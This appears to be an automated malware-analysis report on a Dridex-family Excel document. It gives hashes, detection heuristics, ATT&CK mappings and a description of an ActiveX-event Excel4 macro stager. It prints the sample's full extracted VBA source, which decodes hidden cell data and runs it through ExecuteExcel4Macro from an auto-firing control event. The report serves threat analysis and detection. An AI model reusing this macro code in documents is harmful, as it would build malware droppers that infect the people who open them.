Ldridex — Office (OLE) malware analysis

Static analysis result for SHA-256 0f4398e0650408b5…

MALICIOUS

Office (OLE)

51.0 KB Created: 2020-09-21 11:58:19 Authoring application: Microsoft Excel First seen: 2020-09-24
MD5: 7ef121597ba88b20dab4c8216e3368d0 SHA-1: 82b2d537f37f4809b9542f838fa9efdbd42432d1 SHA-256: 0f4398e0650408b59d516bef26254464e99dc0ba48b10607ebe76f3957f7bb89
140 Risk Score

Malware Insights

Ldridex · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate that this Excel file contains VBA macros that launch a decoded Excel4 macro, a known technique for Ldridex. The VBA code appears to be obfuscated but ultimately calls ExecuteExcel4Macro, suggesting it's designed to download and execute a secondary payload. The ClamAV detection further supports the Ldridex family attribution.

Heuristics 3

  • ClamAV: Xls.Malware.Ldridex-9769692-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Ldridex-9769692-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2397 bytes
SHA-256: 64e4877d417d77262bf24edcb62352abab76d773a4209309ebc9961c356d8749
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "recalculates, 1, 0, MSForms, Frame"
Sub payR()
t = 791
End Sub
Function Pjj(d As String, c As Integer) As String
Dim inco() As Byte
inco = StrConv(d, vbFromUnicode)
For Each a In inco
Pjj = Pjj & Chr(a + c)
Next
End Function
Function amore(i, o As String)
Dim k As String
t = 4: l = 1
Do
k = Pjj(i.Text, Int((t - l + l) * Rnd + l))
Loop Until Left(k, l) = o
amore = k
End Function
Sub activePrint()
Dim er()
Dim fit As String
v = 6
uh = titkle(Int((8 - v + 1) * Rnd + v))
fr = titkle(Int((8 - v + 1) * Rnd + v))
mg = titkle(Int((8 - 6 + 1) * Rnd + 6))
Application.WindowState = xlMinimized
hots = WorksheetFunction.CountA(ActiveSheet.UsedRange)
ReDim er(1 To hots)
For Each b In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
k = amore(b, "-")

er(CInt(LTrim(Mid(k, 2, 2)))) = Mid(k, 4)
Next b

N = UBound(er) - LBound(er) + 1

fit = er(Int((N - 5 - 1 + 1) * Rnd + 1))

For c = N - 4 To N
mu = 0: ExecuteExcel4Macro simon(uh, fr, mg, er(c), fit)
Next
ActiveWorkbook.Close v - v
End Sub

Function simon(j, w, h, a, m As String)
Dim pp As String
pp = a
simon = tm("$", h, ">", m, tm(";", j, "'", w, pp))
End Function

Function titkle(c As Integer)
Dim i As Integer, vv As Integer, R As Boolean
For i = 1 To c
    Do
        vv = Int((122 - 48 + 1) * Rnd + 48)
        Select Case vv
        Case 48 To 57, 65 To 90, 97 To 122: R = True
        Case Else: R = False
        End Select
    Loop Until R = True
    R = False
    olk = olk & Chr(vv)
Randomize (Timer)
Next i
titkle = olk
End Function


Function tm(e, ee, mm, yt, Q As String)
tm = Replace(Q, e, ee): tm = Replace(tm, mm, yt)
End Function


Private Sub recalculates_Layout()
hole = 1
melody = 48902
activePrint
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.